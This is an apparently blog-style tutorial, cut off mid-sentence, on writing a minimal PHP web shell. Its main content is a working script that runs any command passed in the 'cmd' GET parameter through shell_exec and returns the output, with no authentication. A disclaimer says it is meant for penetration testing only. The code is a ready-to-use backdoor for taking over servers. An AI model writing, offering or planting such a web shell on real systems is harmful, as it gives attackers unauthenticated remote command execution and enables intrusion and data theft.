How To Write A Simple PHP Shell

Mark Caggiano
3 min readMar 7, 2022

DISCLAIMER: This should be used just for penetration testing purpose. If you use it without the authorization of the owner of the website, you could be in legal trouble.

Do you have access to a php server and need a php shell, but you don’t want to spend days creating it and you don’t want to install or trust an already made one ?

Lets create one in a very simple way…

First let’s create our php shell script that will receive our commands. It is very simple. Our php shell will receive commands through post or get and execute it on the server, like this:

<?php
// shell.php
if(isset($_GET['cmd'])) { $output = shell_exec( $_GET['cmd'] );
$html = isset($_GET['html']) ? true : false;
if($html === true) { echo "<pre>\n"; } echo $output; if($html === true) { echo "</pre>\n"; } exit;}?>

It is very simple… our script get the cmd from GET query parameters, execute it on the server and print the output to the client. If we want to see it nicely, we…

--

--